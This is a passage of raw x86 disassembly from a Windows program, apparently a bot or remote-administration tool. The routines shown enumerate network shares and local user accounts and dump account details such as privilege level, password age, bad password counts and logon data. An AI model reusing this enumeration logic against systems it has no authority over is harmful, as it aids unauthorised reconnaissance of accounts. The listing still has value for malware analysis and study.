; ---------------------------------------------------------------------------


loc_418C37:				; CODE XREF: sub_418C2A+9j
		push	ebx
		push	esi
		mov	esi, dword_427180
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418C2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C6B	proc near		; CODE XREF: sub_418A98+20p
					; sub_419E79+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2A
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4CAE40
		pop	esi
		retn
sub_418C6B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C8E	proc near		; CODE XREF: sub_401ACD+46B0p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_418C2A
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 18h


loc_418CC7:				; CODE XREF: sub_418C8E+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4CAEB8
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_418D2A
		cmp	ebx, 0EAh
		jz	short loc_418D2A
		push	ebx
		push	ebx
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_4390A0
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 24h
		jmp	short loc_418D97
; ---------------------------------------------------------------------------


loc_418D2A:				; CODE XREF: sub_418C8E+5Dj
					; sub_418C8E+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_418D8E
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_418D38:				; CODE XREF: sub_418C8E+FCj
		push	dword ptr [esi+10h]
		call	dword_4CAE5C
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_418D4F
		mov	eax, offset aNo	; "No"


loc_418D4F:				; CODE XREF: sub_418C8E+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_418D38
		xor	esi, esi


loc_418D8E:				; CODE XREF: sub_418C8E+A2j
		push	[ebp+var_4]
		call	dword_4CB004


loc_418D97:				; CODE XREF: sub_418C8E+9Aj
		cmp	ebx, 0EAh
		jz	loc_418CC7
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_418C8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418DAF	proc near		; CODE XREF: sub_401ACD:loc_4061EEp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_418E54
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_418DF1
		dec	eax
		jz	short loc_418DE6
		dec	eax
		jnz	short loc_418E0C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_418EF6
		add	esp, 14h
		jmp	short loc_418E08
; ---------------------------------------------------------------------------


loc_418DE6:				; CODE XREF: sub_418DAF+1Dj
		push	ebx
		push	edi
		call	sub_418ED5
		pop	ecx
		pop	ecx
		jmp	short loc_418E08
; ---------------------------------------------------------------------------


loc_418DF1:				; CODE XREF: sub_418DAF+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_418E05
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_418E7B
		add	esp, 0Ch
		jmp	short loc_418E08
; ---------------------------------------------------------------------------


loc_418E05:				; CODE XREF: sub_418DAF+45j
		push	57h
		pop	eax


loc_418E08:				; CODE XREF: sub_418DAF+35j
					; sub_418DAF+40j ...
		cmp	eax, edi
		jnz	short loc_418E2C


loc_418E0C:				; CODE XREF: sub_418DAF+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DADF0
		push	off_4389AC[eax*4]
		push	offset unk_439158
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418E74
; ---------------------------------------------------------------------------


loc_418E2C:				; CODE XREF: sub_418DAF+5Bj
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DADF0
		push	off_4389A8[eax*4]
		push	offset unk_439128
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418E74
; ---------------------------------------------------------------------------


loc_418E54:				; CODE XREF: sub_418DAF+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DADF0
		lea	eax, [eax+eax*2]
		push	off_4389A8[eax*4]
		push	offset unk_439100
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418E74:				; CODE XREF: sub_418DAF+7Bj
					; sub_418DAF+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418DAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E7B	proc near		; CODE XREF: sub_418DAF+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2A
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_418C2A
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4CAE4C
		pop	edi
		leave
		retn
sub_418E7B	endp


; =============== S U B	R O U T	I N E =======================================



sub_418ED5	proc near		; CODE XREF: sub_418DAF+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2A
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4CAE3C
		pop	esi
		retn
sub_418ED5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418EF6	proc near		; CODE XREF: sub_418DAF+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4CAFCC
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_41929E
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_4192D9
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_419015
		dec	eax
		jz	short loc_41900E
		dec	eax
		jz	short loc_419007
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------


loc_419007:				; CODE XREF: sub_418EF6+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------


loc_41900E:				; CODE XREF: sub_418EF6+105j
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------


loc_419015:				; CODE XREF: sub_418EF6+102j
		mov	eax, offset aGuest ; "Guest"


loc_41901A:				; CODE XREF: sub_418EF6+10Fj
					; sub_418EF6+116j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_41B886
		push	1
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_4192CA
; ---------------------------------------------------------------------------


loc_41929E:				; CODE XREF: sub_418EF6+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_439178
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_409A72
		add	esp, 20h


loc_4192CA:				; CODE XREF: sub_418EF6+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_4192D9
		push	[ebp+var_4]
		call	dword_4CB004


loc_4192D9:				; CODE XREF: sub_418EF6+40j
					; sub_418EF6+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_418EF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192DF	proc near		; CODE XREF: sub_401ACD+473Bp

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_418C2A
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 18h


loc_41931E:				; CODE XREF: sub_4192DF+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4CAED4
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_41937F
		cmp	eax, 0EAh
		jz	short loc_41937F
		push	eax
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_439368
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 24h
		jmp	short loc_4193FA
; ---------------------------------------------------------------------------


loc_41937F:				; CODE XREF: sub_4192DF+62j
					; sub_4192DF+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_41940D
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_4193FA


loc_419391:				; CODE XREF: sub_4192DF+EDj
		cmp	edi, esi
		jz	short loc_4193D0
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_419391
		jmp	short loc_4193FA
; ---------------------------------------------------------------------------


loc_4193D0:				; CODE XREF: sub_4192DF+B4j
		lea	eax, [ebp+var_218]
		push	offset unk_439334
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 1Ch


loc_4193FA:				; CODE XREF: sub_4192DF+9Ej
					; sub_4192DF+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_41940D
		push	edi
		call	dword_4CB004
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_41940D:				; CODE XREF: sub_4192DF+A5j
					; sub_4192DF+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_41931E
		cmp	edi, esi
		jz	short loc_419425
		push	edi
		call	dword_4CB004


loc_419425:				; CODE XREF: sub_4192DF+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4192DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41945F	proc near		; CODE XREF: sub_418A98+41p
					; sub_418C8E+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_419511
		jz	loc_41950A
		cmp	eax, 7Bh
		ja	short loc_4194D6
		jz	short loc_4194CC
		cmp	eax, 5
		jz	short loc_4194C2
		cmp	eax, 8
		jz	short loc_4194B8
		cmp	eax, 32h
		jz	short loc_4194AE
		cmp	eax, 35h
		jz	short loc_4194A4
		cmp	eax, 57h
		jnz	loc_419560
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194A4:				; CODE XREF: sub_41945F+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194AE:				; CODE XREF: sub_41945F+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194B8:				; CODE XREF: sub_41945F+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194C2:				; CODE XREF: sub_41945F+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194CC:				; CODE XREF: sub_41945F+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194D6:				; CODE XREF: sub_41945F+1Aj
		sub	eax, 7Ch
		jz	short loc_419503
		sub	eax, 7C8h
		jz	short loc_4194FC
		dec	eax
		jz	short loc_4194F2
		dec	eax
		jnz	short loc_419560
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194F2:				; CODE XREF: sub_41945F+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194FC:				; CODE XREF: sub_41945F+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419503:				; CODE XREF: sub_41945F+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_41950A:				; CODE XREF: sub_41945F+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419511:				; CODE XREF: sub_41945F+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_41954A
		jz	short loc_419543
		sub	eax, 8ADh
		jz	short loc_419575
		dec	eax
		dec	eax
		jz	short loc_41953C
		dec	eax
		jz	short loc_419535
		dec	eax
		dec	eax
		jnz	short loc_419560
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419535:				; CODE XREF: sub_41945F+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_41953C:				; CODE XREF: sub_41945F+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419543:				; CODE XREF: sub_41945F+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_41954A:				; CODE XREF: sub_41945F+B9j
		sub	eax, 8CAh
		jz	short loc_41957C
		sub	eax, 17h
		jz	short loc_419575
		sub	eax, 25h
		jz	short loc_41956E
		sub	eax, 29h
		jz	short loc_419567


loc_419560:				; CODE XREF: sub_41945F+35j
					; sub_41945F+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419567:				; CODE XREF: sub_41945F+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_41956E:				; CODE XREF: sub_41945F+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419575:				; CODE XREF: sub_41945F+C2j
					; sub_41945F+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_41957C:				; CODE XREF: sub_41945F+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_419581:				; CODE XREF: sub_41945F+40j
					; sub_41945F+4Aj ...
		push	offset dword_4DAB90
		call	sub_41B886
		pop	ecx
		mov	eax, offset dword_4DAB90
		pop	ecx
		retn
sub_41945F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419593	proc near		; CODE XREF: sub_401ACD+4781p

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D834
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		nop
		call	near ptr 26B0000h
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D817
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4CAF84
		test	eax, eax
		jnz	short loc_419623
		mov	esi, offset dword_4DA98C
		push	offset unk_43969C
		push	esi
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41964C
; ---------------------------------------------------------------------------


loc_419623:				; CODE XREF: sub_419593+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_41945F
		pop	ecx
		mov	esi, offset dword_4DA98C
		push	eax
		push	offset dword_439670
		push	esi
		call	sub_41B886
		add	esp, 14h


loc_41964C:				; CODE XREF: sub_419593+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419593	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419651	proc near		; CODE XREF: sub_416F1A+45p
					; sub_416F1A+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		nop
		call	near ptr 27005A3h
		push	eax
		call	dword_4CAF58
		test	eax, eax
		jnz	short loc_419670
		leave
		retn
; ---------------------------------------------------------------------------


loc_419670:				; CODE XREF: sub_419651+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4CAF30
		test	eax, eax
		jz	short loc_4196AE
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_419697
		or	[ebp+var_8], 2
		jmp	short loc_41969B
; ---------------------------------------------------------------------------


loc_419697:				; CODE XREF: sub_419651+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_41969B:				; CODE XREF: sub_419651+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4CAFE0
		mov	esi, eax


loc_4196AE:				; CODE XREF: sub_419651+32j
		push	[ebp+var_4]
		nop
		call	near ptr 26507ADh
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419651	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4196BC	proc near		; CODE XREF: sub_401ACD+7915p
					; sub_4198EB+74p

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
